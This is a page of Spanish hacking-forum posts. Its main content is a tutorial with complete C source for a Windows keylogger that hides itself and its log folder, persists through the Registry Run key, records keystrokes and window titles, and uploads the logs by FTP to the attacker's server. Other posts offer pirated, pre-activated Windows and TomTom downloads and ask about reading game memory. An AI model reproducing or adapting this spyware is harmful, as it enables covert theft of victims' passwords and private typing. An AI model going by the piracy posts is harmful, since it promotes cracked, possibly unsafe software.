Ya con esto tendríamos lista nuestra antena para su funcionamiento, lo que nos sobra de barra lo podéis cortar si queréis, yo no tengo la cierra así que aún no lo he cortado quizás funcione mucho mejor después de cortarlo. Probando esta antena he logrado conectarme a una red wifi que está a 250 metros de mi casa, aunque esta antena debería tener un alcance de 1 kilómetro sin ningún obstáculo delante, pero recordar que para que funcione bien la antena tenéis que tener un adaptador de red inalámbrico que sea capaz de darle la potencia a la antena, ya que no cualquier tarjeta la ara funcionar yo en esta ocasión utilizo la que está catalogada como la mejor del mercado que es la Alfa Network AWUS036H de 1w (1000mw).


[lenguaje C] Tutorial de creación de un Keylogger (espia teclas) by Sokoleonardo

$
0
0
Hola compañeros de Comundidad Underground Hispana, mi nombre es SokoLeonardo.

Hoy les traigo un buen tutorial para hacer un keylogger en lenguaje C.
Este tutorial la hice para nuestra e-zine, pero kj nunca volvio al foro y parece que la e-zine quedo en olvido, asi que me tomo el atrevimiento para poderlo publicar porque ES MIO.

Para empezar debes tener un conocimiento del lenguaje de programacion C, si no lo tienes busca en Google el manual "Fundamentos de programación en C, por Nacho Cabanes" no es complejo pero sé que sirve para todo.

Si no sabes lo que es un Keylogger yo se los dire: Un Keylogger es un programa/archivo que captura las teclas (pulsasiones) y las guarda en un archivo oculto, pasado un momento lo sube a un server privado. Por esto le digo virus espia.

Si se habran dado cuenta, soy de Argentina, en este foro existe gente española, peruana, chilena, de todo un poco, y vos sos bienvenido tambien.

Asi que empezamos a usar codigo:

1) debemos añadir los archivos cabeceras "windows.h", "stdio.h" y "stdlib.h" y la funcion "main" a nuestro codigo fuente:

Código:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/*declaracion de
    variables y constantes*/

/*declaracion de
    funciones o procedimientos*/

int main(int argc, char *argv[])
{


}

Ya tenemos un comienzo, ahora sigamos...

2) Ahora, hagamos algo que este bueno, pongamosle un metodo de ocultarse al Keylogger: Consiste, en que si el Keylogger no esta oculto que se oculte.

a) revisamos los atributos del archivo.
b) nos fijamos si en los atributos esta el atributo "oculto".
c) si no esta oculto le añadimos "oculto" a los atributos.

Código:

// paso a)
int attribs;
attribs = GetFileAttributes(argv[0]);

// paso b)
if(!(attribs&FILE_ATTRIBUTE_HIDDEN)){
    //paso c)
    attribs |= FILE_ATTRIBUTE_HIDDEN;
    SetFileAttributes(argv[0], attribs);
    }

De esta manera se oculta automaticamente el keylogger despues de abrirse, ahora el user no podra borrarlo.
Tambien necesitamos crear una carpeta para poner alli los archivos que se graben y ocultarla.
Pero antes especifiquemos los datos de esa carpeta en el principio del codigo:
Código:

/*nombre del archivo donde se graban las teclas*/
#define FILENAMELOGS "logs.text"
/*nombre de la carpeta que se creara, ocultara, y guardara los archivos.*/
#define DIRLOGS "LogK"
/*un puntero para reservar memoria, contendra la ruta del archivo*/
char * PathLog;

Y creamos la carpeta:

Código:

attribs = GetFileAttributes(DIRLOGS);
/*Vemos si existe la carpeta*/
if(attribs==-1){
    /*Se crea la carpeta DIRLOGS*/
    CreateDirectory(DIRLOGS, NULL);
    attribs = GetFileAttributes(DIRLOGS);
    /*Se oculta la carpeta*/
    SetFileAttributes(DIRLOGS, attribs|FILE_ATTRIBUTE_HIDDEN);
    }
   
/*Ahora pondremos en una cadena la ruta entera del archivo*/
PathLog = (char*)malloc(strlen(DIRLOGS)+strlen(FILENAMELOGS)+1);
sprintf(PathLog, "%s/%s", DIRLOGS, FILENAMELOGS);

Si no existe la carpeta se crea una y se la oculta.

3) Necesitamos que el keylogger se ejecute siempre que Windows se inicie. No te voy a explicar lo que es el registro de windows, para eso vas a buscar en internet.

En el registro encontraremos una clave "Run", en ella se encuentran los programas que se inician despues de Windows.
En realidad la clave Run almacena los comandos a ejecutar cada vez que inicia Windows, asi que hablando de batch... podriamos ejecutar comandos de batch tambien, o comandos que usamos siempre que abrimos cmd, por ejemplo comando dir. O para ser mas sierto, es igual que ir a inicio>ejecutar>valor.

Los comandos deben tener comillas (") al principio y final. Ya que si no, de lo contrario ejecutariamos mal al comando.
Asi que hablemos de que el comando es el mismo Keylogger, los comandos de batch son archivos que aceptan parametros, si la ruta de nuestro keylogger tendria un espacio, entonces se ejecutaria mal, primero el comando y luego sus parametros. Ejemplo: c:\windows\mi keylogger\keyl.exe. En este caso se ejecutaria c:\windows\mi, con el parametro keylogger\keyl.exe. Por eso hay que poner comillas al principio y al final, reconociendo todo como un solo comando.

Necesitamos el dato NAME_EXE definido al principio del programa, usemos:
Código:

#define NAME_EXE "keylogger.exe"
Y ahora hagamos lo explicado, en la funcion main y debajo de todo lo anterior:

Código:

/* pongamos comillas (")*/
int argvlen = strlen(argv[0]);
char * path2;
path2 = (char*)malloc(argvlen+3);
path2[0] = '"';
path2[1] = 0;
strcat(path2, argv[0]);
path2[argvlen+1] = '"';
path2[argvlen+2] = 0;


HKEY keyReg;
/* Abrimos la clave Run */
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &keyReg);
/* Escribimos en la calve Run */
RegSetValueEx(keyReg, NAME_EXE, 0, REG_SZ, path2, strlen(path2));
/* Cerramos clave y guardamos cambios. */
RegCloseKey(keyReg);

/* liberamos memoria ocupada */
free(path2);

Ahora nuetro Keylogger ya se ejecutaria siempre despues de Windows.
El registro de windows es bueno entenderlo para el hack.

4) Ahora necesitamos grabar las teclas, para eso tenemos que crear un bucle que revisa el estado del teclado cada 10 milisegundos para no gastar tanta CPU.

Código:

while(1){
    //esperamos 10 ms
    Sleep(10);
   
}

...ya creamos el bucle ahora falta grabar teclas dentro del bucle.
Necesitamos la funcion GetAsyncKeyState, esta tiene un solo parametro, y es un byte (numero de 1 a 254 en este caso) siendo cada numero la tecla a revisar. Esta funcion devuelve -077777 (numero octal) si la tecla esta presionada, de lo contrario devuelve otro numero.

Tambien usaremos un bucle switch para comprobar cada valor y saber que guardaremos en el archivo con teclas capturadas.

Y crearemos una funcion savebyte que grave cada valor capturado en un archivo, no hace falta que te fijes en ella, solo ten en cuenta que al pasarle un numero grava su valor en el archivo.

Código:

#define FILENAMELOGS "logs.text"

FILE * fpfile;

BOOL savebyte(BYTE k){
    /* nos fijamos si podemos usar el archivo en modo escritura*/
    if((fpfile = fopen(PathLog, "a"))==NULL)
        return -1;
   
    /*mostramos en pantalla el valor a gravar*/
    printf("%c", k);
   
    /*lo gravamos en el archivo*/
    fputc(k, fpfile);
   
    /*cerramos el archivo usado*/
    fclose(fpfile);
   
    return 0;
}

BYTE key;

while(1){
    //esperamos 10 ms
    Sleep(10);
   
    for(key=8; key<222; key++){
        if(GetAsyncKeyState(key)==-077777){
            switch(key){
                /* teclas */
                case VK_BACK:
                    /* un retroceso de escritura */
                    savebyte('<');
                    break;
                case VK_RETURN: // tecla enter.
                    /* una nueva
                    < linea >
                    */
                    savebyte('\n');
                    break;
                case ' ':
                    /* un espacio */
                    savebyte(key);
                    break;
                case '0':
                case '1':
                //escribe de 0 a 9
                case '9':
                    /* un numero */
                    savebyte(key);
                    break;
                case 'A': //'A' vale 65, 'B' 66.
                case 'B':
                //escribe de A hasta Z mayusculas
                case 'Y': //'Y' vale 89 y 'Z' 90.
                case 'Z':
                    /* Verificar estado de Caps Lock y Shift */
                    if(((GetKeyState(VK_SHIFT)<0)&&(!GetKeyState(VK_CAPITAL))) ||
                    (GetKeyState(VK_CAPITAL)&&(GetKeyState(VK_SHIFT)>=0)))
                        savebyte(key);    //Mayus (ABC)
                    else
                        savebyte(key+32); //Minus (abc)
                    break;
                case VK_NUMPAD0:
                case VK_NUMPAD1:
                case VK_NUMPAD2:
                case VK_NUMPAD3:
                case VK_NUMPAD4:
                case VK_NUMPAD5:
                case VK_NUMPAD6:
                case VK_NUMPAD7:
                case VK_NUMPAD8:
                case VK_NUMPAD9:
                    /* un numero */
                    savebyte((key-VK_NUMPAD0)+48);
                    break;
                }
            }
        }
}

Este codigo se puede leer como "todo el tiempo: esperemos 10 ms, despues aumentemos un numero de 8 a 222, si vemos que ese numero de tecla esta pulsado entonces revisamos que tecla corresponde escribir en el archivo".

5) Ahora necesitamos grabar el titulo de la ventana donde estamos espiando las teclas.
Consiste en que cada vez que se grabe una tecla, se revise si el user esta sobre una nueva ventana, si esta sobre una nueva ventana, entonces que grave su titulo de ventana.

Usaremos la palabra reservada static para una cadena que guarde el titulo de ventana.
Con static, hacemos que esa cadena este hasta el fin del programa, sin importar donde se declare la variable. Esto nos permitira que cada vez que se ejecute nuevamente una funcion, la cadena tenga el ultimo valor como la ultima vez que se modifico dentro de esa funcion.

Código:

void CaptureNwTitle(){
    /*recuperamos el identificador de la ventana actual*/
    HWND app;
    app = GetForegroundWindow();
   
    static char nwtitle[128];
    static char title[128];
   
    GetWindowText(app, nwtitle, 128);
    /*Si el nuevo titulo es diferente al anterior, procedemos*/
    if(strcmp(nwtitle, title)!=0){
        GetWindowText(app, title, 128);
       
        /*abrimos el archivo en modo lectura, si no falla grabamos y cerramos*/
        if((fpfile = fopen(PathLog, "a"))!=NULL){
            fprintf(fpfile, "\n\n##### Aplicacion: %s\n", title);
            fclose(fpfile);
            }
        }
}

Este codigo debe ir despues antes de grabar una nueva tecla presionada, asi cada vez que se presiona una tecla, se graba el titulo de la ventana donde se teclea si es que es titulo diferente al anterior.

ponganlo asi:

Código:

...
if(GetAsyncKeyState(key)==-077777){
           
            CaptureNwTitle(); //<<----
           
            switch(key){
            ...

6) Ahora, solo nos falta conectar el keylogger a internet cada vez que el archivo de logs tenga un tamaño considerable.
Hay que poner la cabecera wininet.h, esta cabecera nos da funciones para protocolos HTTP y FTP, nosotros ocuparemos el FTP ya que podemos tener un servidor privado donde almacenar los datos.

Ahora, si no tenes una cuenta en un servidor FTP, busca en google, hay muchos provedores del servicio FTP, create una cuenta.

Vamos a lo mas simple antes que complicar las cosas...
Agregaremos los datos del servidor nuestro, y cada cuantos bytes (tamaño del archivo de logs) subir el archivo a nuestro servidor:

Código:

#define FTP_HOST        "ip del servidor ftp" //ej 12.13.1.14...
#define FTP_USER        "nombre de usuario del ftp"
#define FTP_PASS        "clave de usuario"
#define FTP_DIR        "/directorio de logs/"
#define FTP_PORT        21 //puerto ftp

/* Tamaño que debera tener el archivo logs para subirse por FTP */
#define FILE_BYTES_FOR_UPLOAD 1024 // 1 kb

Todo eso va al principio.
Ahora, debemos saber el tamaño del archivo de logs antes de subirlo. Crearemos una funcion para saber el tamaño del archivo.

Código:

long GetSizeFile(char * filename){
    FILE * fp;
    fp = fopen(filename, "rb");
    if(fp==NULL)
        return 0;
   
    fseek(fp, 0, SEEK_END);
   
    long size = ftell(fp);
   
    fclose(fp);
   
    return size;
}

Todo el tiempo, nuestro keylogger revisara el tamaño del archivo de logs antes de seguir grabando teclas, entonces, usemos la anterior funcion asi:

Código:

while(1){
    Sleep(10);
   
    if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
       
        //subir el archivo
       
        }
   
    for(key=8; key<222; key++){
        if(GetAsyncKeyState(key)==-077777){
        ...
        ...

Entonces, ya sabemos cuando subir el archivo, y tambien tenemos los datos del servidor en el keylogger.

Ahora necesitamos que nuestro archivo de logs se guarde remotamente con un nombre especial, un nombre que tenga la hora en que se subio el archivo.
De esta manera los nuevos archivos de logs se iran ordenando en el directorio remoto (el reciente mas arriba) y asi podremos saber cual es el ultimo que fue subido.

Bueno si entendiste lo anterior seguimos adelante, necesitamos crear la funcion que obtenga la fecha y hora local en la PC donde actua el keylogger.

Es asi de sencilla:
Código:

char * GetMyTimeLocal(char*out){
    SYSTEMTIME st;
    GetLocalTime(&st);
   
    sprintf(out, "TIME LOCAL=(%02d-%02d-%02d, %02d.%02d.%02d)",
        st.wYear, st.wMonth, st.wDay,
        st.wHour, st.wMinute, st.wSecond);
   
    return out;
}

La funcion GetMyTimeLocal que hemos creado guarda la fecha y hora en una cadena que le hemos dado como parametro out.
La funcion GetLocalTime guarda numeros en una estructura SYSTEMTIME.

Vamos a usar nuestra funcion GetMyTimeLocal asi:
Código:

...
while(1){
    Sleep(10);
   
    if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
       
        char * filenameRemote = (char*)malloc(strlen(FTP_DIR)+strlen(FILENAMELOGS)+100+1);
        if(filenameRemote==NULL)
            continue;
       
        sprintf(filenameRemote, "%s/%s", FTP_DIR, FILENAMELOGS);
       
        char * mydate = (char*)malloc(100);
        if(mydate==NULL)
            continue;
           
        GetMyTimeLocal(mydate);
       
        strcat(filenameRemote, mydate);
       
        //Subir archivo logs con la funcion UploadFile que crearemos
       
        free(filenameRemote);
        free(mydate);
       
        }
   
    for(key=8; key<222; key++){
        if(GetAsyncKeyState(key)==-077777){
            ...

Asi por ejemplo, cuando nuestro archivo "logs.txt" tenga 1024 bytes de tamaño, se sube como "/directorio remoto/archivoremoto.txtTIME LOCAL=(2013-08-28, 10.06.21)".
Osea, que le hemos agregado la fecha local de la PC al final.

Ahora, ya debemos subir el archivo al servidor FTP. Crearemos la funcion UploadFile, asi:
Código:

short UploadFile(char * fileNameLocal, char * fileNameRemote){
    /* pasamos a subir el archivo a servidor FTP */
    HINTERNET hnet, connx;
   
    /* Abrimos el internet */
    if((hnet = InternetOpen(NULL, 0, NULL, NULL, 0))==NULL)
        return -1;
   
    /* Creamos una conexion con nuestros datos */
    if((connx = InternetConnect(hnet, FTP_HOST, FTP_PORT, FTP_USER, FTP_PASS,
                INTERNET_SERVICE_FTP, 0 ,0))==NULL)
        return -1;
   
    /* Creamos el directorio remoto (del servidor remoto), se crea si no existe*/
    FtpCreateDirectory(connx, FTP_DIR);

    /* Subimos el archivo a nuestro servidor FTP */
    if(FtpPutFile(connx, fileNameLocal, fileNameRemote,  FTP_TRANSFER_TYPE_BINARY, 0)==0)
        return -1;
       
    /* Cerramos las conexiones */
    InternetCloseHandle(connx);
    InternetCloseHandle(hnet);
   
    return 0;
}

Esta funcion sube el archivo local a nuestro servidor remoto (con los datos que hemos dado del FTP).
Y la usamos asi:
Código:

        ...
       
        strcat(filenameRemote, mydate);
       
        if(UploadFile(PathLog, filenameRemote) != -1){
           
            //Se subio correctamente. Debemos borrar el archivo.
           
            DeleteFile(PathLog);
           
            }
           
        ...
...

No olvides linkear la libreria "libwininet.a".

Si se sube correctamente el archivo, se borra el archivo local y se continua grabando teclas.

Ya hemos terminado nuestro keylogger, si armamos todo lo explicado nos queda asi:
Código:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

/*nombre del keylogger*/
#define NAME_EXE "keylogger.exe"

/*nombre del archivo donde se graban las teclas*/
#define FILENAMELOGS "logs.text"
/*nombre de la carpeta que se creara, ocultara, y guardara los archivos.*/
#define DIRLOGS "LogK"
/*un puntero para reservar memoria, contendra la ruta del archivo*/
char * PathLog;

/*Puntero a archivo donde escribir los logs*/
FILE * fpfile;

/*nombre del archivo de logs*/
#define FILENAMELOGS "logs.text"

/* Datos del servidor FTP */
#define FTP_HOST        "ip del servidor ftp" //ej 12.13.1.14...
#define FTP_USER        "nombre de usuario del ftp"
#define FTP_PASS        "clave de usuario"
#define FTP_DIR        "/directorio de logs/"
#define FTP_PORT        21 //puerto ftp

/* Tamaño que debera tener el archivo logs para subirse por FTP */
#define FILE_BYTES_FOR_UPLOAD 1024 // 1 kb


BOOL savebyte(BYTE k){
    /* nos fijamos si podemos usar el archivo en modo escritura*/
    if((fpfile = fopen(PathLog, "a"))==NULL)
        return -1;
   
    /*mostramos en pantalla el valor a gravar*/
    printf("%c", k);
   
    /*lo gravamos en el archivo*/
    fputc(k, fpfile);
   
    /*cerramos el archivo usado*/
    fclose(fpfile);
   
    return 0;
}


void CaptureNwTitle(){
    /*recuperamos el identificador de la ventana actual*/
    HWND app;
    app = GetForegroundWindow();
   
    static char nwtitle[128];
    static char title[128];
   
    GetWindowText(app, nwtitle, 128);
    /*Si el nuevo titulo es diferente al anterior, procedemos*/
    if(strcmp(nwtitle, title)!=0){
        GetWindowText(app, title, 128);
       
        /*abrimos el archivo en modo lectura, si no falla grabamos y cerramos*/
        if((fpfile = fopen(PathLog, "a"))!=NULL){
            fprintf(fpfile, "\n\n##### Aplicacion: %s\n", title);
            fclose(fpfile);
            }
        }
}

long GetSizeFile(char * filename){
    FILE * fp;
    fp = fopen(filename, "rb");
    if(fp==NULL)
        return 0;
   
    fseek(fp, 0, SEEK_END);
   
    long size = ftell(fp);
   
    fclose(fp);
   
    return size;
}

char * GetMyTimeLocal(char*out){
    SYSTEMTIME st;
    GetLocalTime(&st);
   
    sprintf(out, "TIME LOCAL=(%02d-%02d-%02d, %02d.%02d.%02d)",
        st.wYear, st.wMonth, st.wDay,
        st.wHour, st.wMinute, st.wSecond);
   
    return out;
}

short UploadFile(char * fileNameLocal, char * fileNameRemote){
    /* pasamos a subir el archivo a servidor FTP */
    HINTERNET hnet, connx;
   
    /* Abrimos el internet */
    if((hnet = InternetOpen(NULL, 0, NULL, NULL, 0))==NULL)
        return -1;
   
    /* Creamos una conexion con nuestros datos */
    if((connx = InternetConnect(hnet, FTP_HOST, FTP_PORT, FTP_USER, FTP_PASS,
                INTERNET_SERVICE_FTP, 0 ,0))==NULL)
        return -1;
   
    /* Creamos el directorio remoto (del servidor remoto), se crea si no existe*/
    FtpCreateDirectory(connx, FTP_DIR);

    /* Subimos el archivo a nuestro servidor FTP */
    if(FtpPutFile(connx, fileNameLocal, fileNameRemote,  FTP_TRANSFER_TYPE_BINARY, 0)==0)
        return -1;
       
    /* Cerramos las conexiones */
    InternetCloseHandle(connx);
    InternetCloseHandle(hnet);
   
    return 0;
}


int main(int argc, char *argv[])
{

int attribs;
attribs = GetFileAttributes(argv[0]);

if(!(attribs&FILE_ATTRIBUTE_HIDDEN)){
    attribs |= FILE_ATTRIBUTE_HIDDEN;
    SetFileAttributes(argv[0], attribs);
    }

attribs = GetFileAttributes(DIRLOGS);
/*Vemos si existe la carpeta*/
if(attribs==-1){
    /*Se crea la carpeta DIRLOGS*/
    CreateDirectory(DIRLOGS, NULL);
    attribs = GetFileAttributes(DIRLOGS);
    /*Se oculta la carpeta*/
    SetFileAttributes(DIRLOGS, attribs|FILE_ATTRIBUTE_HIDDEN);
    }

/*Ahora pondremos en una cadena la ruta entera del archivo*/
PathLog = (char*)malloc(strlen(DIRLOGS)+strlen(FILENAMELOGS)+1);
sprintf(PathLog, "%s/%s", DIRLOGS, FILENAMELOGS);


/* pongamos comillas (")*/
int argvlen = strlen(argv[0]);
char * path2;
path2 = (char*)malloc(argvlen+3);
path2[0] = '"';
path2[1] = 0;
strcat(path2, argv[0]);
path2[argvlen+1] = '"';
path2[argvlen+2] = 0;


HKEY keyReg;
/* Abrimos la clave Run */
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &keyReg);
/* Escribimos en la calve Run */
RegSetValueEx(keyReg, NAME_EXE, 0, REG_SZ, path2, argvlen+2);
/* Cerramos clave y guardamos cambios. */
RegCloseKey(keyReg);

/* liberamos memoria ocupada */
free(path2);


unsigned short key;

while(1){
    //esperamos 10 ms
    Sleep(10);
   
    if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
       
        char * filenameRemote = (char*)malloc(strlen(FTP_DIR)+strlen(FILENAMELOGS)+100+1);
        if(filenameRemote==NULL)
            continue;
       
        sprintf(filenameRemote, "%s/%s", FTP_DIR, FILENAMELOGS);
       
        char * mydate = (char*)malloc(100);
        if(mydate==NULL)
            continue;
           
        GetMyTimeLocal(mydate);
       
        strcat(filenameRemote, mydate);
       
        if(UploadFile(PathLog, filenameRemote) != -1){
           
            //Se subio correctamente. Debemos borrar el archivo
           
            DeleteFile(PathLog);
            }
           
        free(filenameRemote);
        free(mydate);
        }
   
    for(key=8; key<222; key++){
        if(GetAsyncKeyState(key)==-077777){
           
            CaptureNwTitle();
           
            switch(key){
                /* teclas */
                case VK_BACK:
                    /* un retroceso de escritura */
                    savebyte('<');
                    break;
                case VK_RETURN: // tecla enter.
                    /* una nueva
                    < linea >
                    */
                    savebyte('\n');
                    break;
                case ' ':
                    /* un espacio */
                    savebyte(key);
                    break;
                case '0':
                case '1':
                case '2':
                case '3':
                case '4':
                case '5':
                case '6':
                case '7':
                case '8':
                case '9':
                    /* un numero */
                    savebyte(key);
                    break;
                case 'A': //'A' vale 65, 'B' 66.
                case 'B':
                case 'C':
                case 'D':
                case 'E':
                case 'F':
                case 'G':
                case 'H':
                case 'I':
                case 'J':
                case 'K':
                case 'L':
                case 'M':
                case 'N':
                case 'O':
                case 'P':
                case 'Q':
                case 'R':
                case 'S':
                case 'T':
                case 'U':
                case 'V':
                case 'W':
                case 'X':
                case 'Y':
                case 'Z':
                    /* Verificar estado de Caps Lock y Shift */
                    if(((GetKeyState(VK_SHIFT)<0)&&(!GetKeyState(VK_CAPITAL))) ||
                    (GetKeyState(VK_CAPITAL)&&(GetKeyState(VK_SHIFT)>=0)))
                        savebyte(key);    //Mayus (ABC)
                    else
                        savebyte(key+32); //Minus (abc)
                    break;
                case VK_NUMPAD0:
                case VK_NUMPAD1:
                case VK_NUMPAD2:
                case VK_NUMPAD3:
                case VK_NUMPAD4:
                case VK_NUMPAD5:
                case VK_NUMPAD6:
                case VK_NUMPAD7:
                case VK_NUMPAD8:
                case VK_NUMPAD9:
                    /* un numero */
                    savebyte((key-VK_NUMPAD0)+48);
                    break;
                }
            }
        }
}

return 0;
}

Hasta luego, nos vemos en el foro http://foro.el-hacker.com.

Leer variables de un proceso

$
0
0
Hola:

Si abro una aplicación, con Cheat Engine puede buscar las variables de un juego. Son 3, se llaman Vida, Balas y Maná. Al menos quiero centrarme en la variable Vida, cuya dirección se puede ver abajo en "2. VIDA" ya encontrada.



Usando el lenguaje C# en modo consola, preferiblemente con Windows Form, el más que les guste, quiero lograr leer esas variables de ese proceso y mostrarlo C# en tiempo real, es decir, si el juego tiene 100 Vidas, en tu aplicación C# debe aprecer también 100, si de repente tienes 95 en el juego o proceso, también debe aparecer 95 en tu aplicación.

Hace un tiempo estuve con ello bajo C++ 2013 y que va, me pego media vida y encima creando dll.

Al menos si alguien es capaz de enseñar como se hace realmente. O algún ejemplo si es posible y entendible.

Saludo.

Crear juego

$
0
0
Buenas. Estoy buscando un programa para crear juegos mi idea es uno que sea parecido al candy crush por lo menos en el hecho que va a ser en 2D. Espero que me puedan ayudar. Aclaro que me descargue uno pero es una versión de prueba. gracias

Tomtom Iberia v1.3 + Mapas v925.5447 [15 Marzo 2014][FUNCIONANDO 100%]

$
0
0


De clase mundial de navegación en la que confían por 65 millones de conductores. Ahora, en sus planes de minutos smartphone.Last? Con la aplicación de navegación TomTom, conduciendo a un lugar nuevo no podría ser más sencillo. Siempre tienes el teléfono inteligente con usted, tan cerca de navegación a mano. Y perder la señal no es un problema, ya que la aplicación funciona sin él. Usted tendrá acceso constante a los mismos mapas, la tecnología y la navegación de clase mundial como en nuestros dispositivos GPS. Es la aplicación que los conductores pueden confiar.

Grandes razones para elegir TomTom Navegación

Características:
Los mapas de TomTom más precisos en su bolsillo – no hay señal móvil necesaria
Mapas gratis de por vida. Conduzca siempre con el mapa más reciente y llegar a su destino más rápido. Descargar 4 o más actualizaciones completas cada año durante la vida de su aplicación.
Tiempos de llegada fiables en todo momento del día con IQ Routes
Las rutas más rápidas a través del tráfico. Desarrollado por TomTom HD Traffic (1)
Guía avanzada de carriles para mayor claridad al navegar cruces difíciles
Hablan nombres de las calles, lo que ayuda a mantener sus ojos en la carretera. (2)
Otras características:
Vista de conducción 2D/3D
Instrucciones de voz claras
Nuevo cálculo de ruta rápido
Múltiples rutas directas
Rutas ecológicas
Vaya a los contactos
Millones de puntos de interés preinstalados
Decoloración de música automático
Automáticos de día y modo noche
símbolos de coches
colores mapa

INTRUCCIONES:

1.- Descargar e instalar el apk
2.- Descargar el mapa, descomprimir y copiar la carpeta en la ruta Sdcard/Tomtom
3.- Iniciar, disfruta de TomTom actualizado

Esta TESTEADO en un S4





TTiber15marzo2014.Uceldado.&hellip;rar (125,00 MB) - uploaded.net
TTiber15marzo2014.Uceldado.&hellip;rar (125,00 MB) - uploaded.net
TTiber15marzo2014.Uceldado.&hellip;rar (125,00 MB) - uploaded.net
TTiber15marzo2014.Uceldado.&hellip;rar (125,00 MB) - uploaded.net
TTiber15marzo2014.Uceldado.&hellip;rar (36,61 MB) - uploaded.net



Disfruta de la descarga ;)

Teu Windows 8.1 Blue3 en Español By Wi-Black, Marzo de 2014

$
0
0


DATOS TECNICOS
Nombre: Windows 8.1 (Update 1) 9600.17031 VL
Build: 9600
Arquitectura: 32 bits(x86) / 64 bits(x64)
Lenguaje: Español Nativo
Formato: ISO-DVD
Peso: 6.27 Gb
Créditos: Latinserver y GODMODE - Wi-Black Corp
Colaboradores: Ricktendo, Luis, CyberSpace, Wincert, RT7, MSNF
Medicina: Incluida (Auto-Activado)

DETALLES
Windows Blue3 mucho mejor y ahora se ha logrado corregir muchos de los errores y bugs anteriores y muchas de las fallas que originalmente trae la ISO ORIGINAL Limpia de Microsoft.

Tiene muchas más actualizaciones y la updata 1 integradas , ahora funciona mucho mejor y estable.

Ya viene activado por defecto y con todo lo necesario para trabajar.

VERSIONES CONTENIDAS EN LA ISO
Windows 8.1 Pro Blue3 X 32 Bits
Windows 8.1 Pro Blue3 X64 Bits
Windows 8.1 Enterprise X32 Bits
Windows 8.1 Enterprise X64 Bits


OTRAS CARACTERÍSTICAS
- Totalmente pre-activado
- Todas las updates hasta Marzo 2014
- Versiones VL





REQUISITOS DE SISTEMA
Procesador: 1 GHz o superior compatible con PAE, NX y SSE2
Memoria RAM: 1 Gb (32bits ), 2 Gb(64bits)
Tarjeta gráfica: dispositivo gráfico Microsoft DirectX 9 o superior
Disco duro: 16 GB de espacio libre(32bits), 20Gb(64bits)
Unidad óptica: DVD-R/RW


ENLACES DE DESCARGA:
http://www.ihotfile.info/wi81marz2014


Saludos.

Descargar Windows 8.1 Enterprise 6.3.9600.17031 WinBlue [32/64 Bits] Gratis Completo

$
0
0
Descargar Windows 8.1 Enterprise 6.3.9600.17031 WinBlue[32/64 Bits] . Gratis



DESCRIPCION

Versoion basada en la Interprise 9600.16384 RTM, 32 y 64 Bits, actualizaciones integradas a la versión del kernel 17031, añaden 17.031 de Rusia y China ...
Incluido Framework 3.5, los escombros removidos y sólo la unidad Winre.wim, estableciendo Inglés sólo pura y simple de debajo de BIOS que "Pulse cualquier tecla para BootCD".
Especifique un formato diferente. Alternar entre idiomas a través del Panel de control Idioma, región ...
Después de la conexión se traduce toda la interfaz (incluyendo opciones, cámara, fotos, mapas)

INFORMACION TECNICA

Nombre: Windows 8.1 Enterprise
S.O: Windows 8.1
Imagen ISo
Idioma: Ingles, una vez instalado selecciona el idioma que desees. español incluido - Mirar imagenes de instalacion -
Arquitectura: X86 32 Bits / x64 64 bits
Tamaño: 2.66 Gb 32 Bits -3.71 Gb 64 Bits + Activadores aparte
Formato archivo. RAR. Una vez descomprimido se convierte en Imagen para Grabar con Nero - UltraIso, Alcohol 120 o similar
Medicina incluida


REQUISITOS SISTEMA

* Procesador de 2 GHz o más
* Se recomienda más de 2 Gb de RAM
* Mnitor y tarjeta de vídeo con una resolución de 1024 X 768 o superior y una memoria de 64 MB
* Un mínimo de 16 gigabytes (GB) de espacio disponible en el disco duro
* Unidad de CD-ROM o DVD-ROM



Pincha en imagen para agrandar



Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage
Uploadable.ch - #1 Easy & Fast File Storage

:_sal:
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>